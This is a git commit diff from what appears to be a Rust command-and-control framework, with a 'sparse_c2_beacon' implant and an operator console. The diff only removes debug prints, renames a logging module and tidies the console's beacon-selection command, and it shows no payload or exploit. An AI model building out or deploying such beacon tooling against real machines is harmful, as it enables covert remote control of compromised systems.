added some creature comforts and cleaned logging
This commit is contained in:
parent
0021794c51
commit
2f9746fa25
@ -331,7 +331,6 @@ async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) {
|
||||
|
||||
loop {
|
||||
let state = socket_handle.state_changed.recv().await;
|
||||
dbg!(&state);
|
||||
match state {
|
||||
Some(TcpState::Established) => break,
|
||||
_ => {}
|
||||
@ -383,7 +382,7 @@ async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) {
|
||||
async fn main() -> anyhow::Result<()> {
|
||||
simple_logger::SimpleLogger::new()
|
||||
.with_level(log::LevelFilter::Info)
|
||||
.with_module_level("tcp_test", log::LevelFilter::Info)
|
||||
.with_module_level("sparse_c2_beacon", log::LevelFilter::Info)
|
||||
.init()?;
|
||||
|
||||
let conf_raw = catconf::read_from_exe(sparse_c2_messages::CONF_SEPARATOR, 4096)?;
|
||||
@ -407,7 +406,6 @@ async fn main() -> anyhow::Result<()> {
|
||||
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&ifname)?;
|
||||
|
||||
let srcip = conf.source_ip;
|
||||
dbg!(srcip, src_mac, dst_mac);
|
||||
|
||||
// let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93];
|
||||
|
||||
|
||||
@ -156,15 +156,7 @@ async fn main() -> anyhow::Result<()> {
|
||||
}
|
||||
Some("select") => {
|
||||
let beacon = items.next();
|
||||
|
||||
match beacon {
|
||||
Some(bid) => {
|
||||
selected_beacon = Some(BeaconId(bid.to_owned()));
|
||||
}
|
||||
None => {
|
||||
eprintln!("No beacon ID selected")
|
||||
}
|
||||
}
|
||||
selected_beacon = beacon.map(ToOwned::to_owned).map(BeaconId);
|
||||
}
|
||||
Some("cmd") => {
|
||||
let parts = items.collect::<Vec<_>>();
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user